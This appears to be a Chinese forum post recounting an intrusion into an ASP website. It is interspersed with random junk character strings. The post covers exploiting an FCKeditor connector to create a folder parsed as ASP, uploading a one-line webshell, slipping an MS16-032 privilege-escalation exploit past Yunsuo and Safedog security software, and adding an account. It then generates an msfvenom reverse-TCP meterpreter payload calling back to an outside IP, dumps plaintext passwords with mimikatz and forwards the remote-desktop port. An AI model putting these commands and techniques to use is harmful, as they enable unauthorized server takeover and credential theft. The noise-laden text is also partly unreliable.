3 W9 W; P( r2 x- ~( Z |
2 P) v4 }* A) e8 ]; s; l% e; l + c0 O6 C( H5 J: n, m; v$ |& V
6 h$ D" t3 m @# P {一、 利用getwebshell篇 ) l. l: t2 e4 e7 y% m) S5 e7 @/ {8 q
' X1 t& Z7 L6 N
首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 0 v6 T9 f& @6 W9 o
 & T# i+ Q/ _( _1 [, M7 j

$ t- E" ]& q3 a5 w4 e下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到) 2 |# x7 I8 B6 F& ^
 0 M& M- e% I& s& L" h; Y
下面我们构造一个asp目录,如: 0 G9 C0 R& B- Q5 @
# ^) j& B5 V9 i; y( s 3 D0 I0 b) i. p
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
- u1 y. q9 d* q' |, Q ) R2 M2 E9 R! V
$ ~) t9 P1 y: \) f
然后再给shell.asp目录上传一个jpg图片格式的一句话,然后用hatchet打开,然后看了一下支持aspx,那么我们就用包含的办法先把aspx后缀名改成.rar,然后再创建个111.ASPx,里面包含rar文件,进去以后看进程有云锁和安全狗,那么,那么我们慢慢来,慢慢来。 3 p7 r, L, o% n1 [$ [9 p
4 B8 A1 W7 @; a3 y, Y
一、 绕过安全狗云锁提权并且加账号 / I1 t) a: T) Q2 l8 F$ V- P, B

4 ?2 k# F* P, z; c. B" B0 l没法看系统信息,但是根据网站404页面可以断定是2003服务器,然后接着访问C:\Program Files (x86)存在断定是2003 64位系统,那么我们说干就干,我们上传ms16-032 64位直接干,但是发现上传exe或者别的格式exp会自动消失,看进程也没杀毒呀,没错没杀毒,是云锁有个功能防御了,那么突破云锁上传的方法就是利用rar,先把exp打包为64.rar上传,然后我们翻一下rar在哪个目录,在C:\Program Files (x86),然后开干
H& b, A' M$ F6 Z
) m$ Y5 }+ z S1 C) K6 X如图: # J, M! ~5 q8 Y, ?( r$ d

' V, y, R. [2 k! O1 K+ w9 B然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组,我操后来也想着用getpassword64抓明文密码,但是一执行就卡死,没办法想到了metasploit " `' ^& Q4 I( k3 r- x* u* f
+ J, C+ `5 X" ]8 j/ P一、 利用metasploit
- Z: C9 Z' r0 k3 N9 o
1 K7 C& O/ I) r5 M0 a ?首先用pentestbox生成一个64位的payload如下命令 / t$ B5 j# b. z" N( [$ H
$ r; X2 W- G2 s; `, zmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
2 [, G E4 ? o, s" _! u0 R; { ; T5 P2 N: }( l: @2 }
为什么要用443端口,之前我测试用别的端口直接被墙了没法上线,下面我们在system下执行这个mata,上线如图:
- t# ]" b J3 G& R7 c! ]# c
* o% L7 |6 {! m" ?* C$ T* h下面我们用这个命令抓一下明文密码命令1:use mimikatz 命令2:kerberos如下图: 5 P. t. p3 {6 \( I
 9 K! r1 V7 L9 o, E3 i9 U$ _
下面我们来做一个监听如下命令: ) c( c5 T. X' s2 {& x4 N! j6 Z
1 X1 j- l0 f& g
portfwd add -l 6655 -p 3968 -r 127.0.0.1,这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图:
# H5 \, R% w" h# U$ f. J
! X& c* x l; ^" i* O0 ^ 7 f8 ^+ ?$ X# Z0 W1 W& }
|
. G/ n& D% S; C9 r. {! o) A, r0 e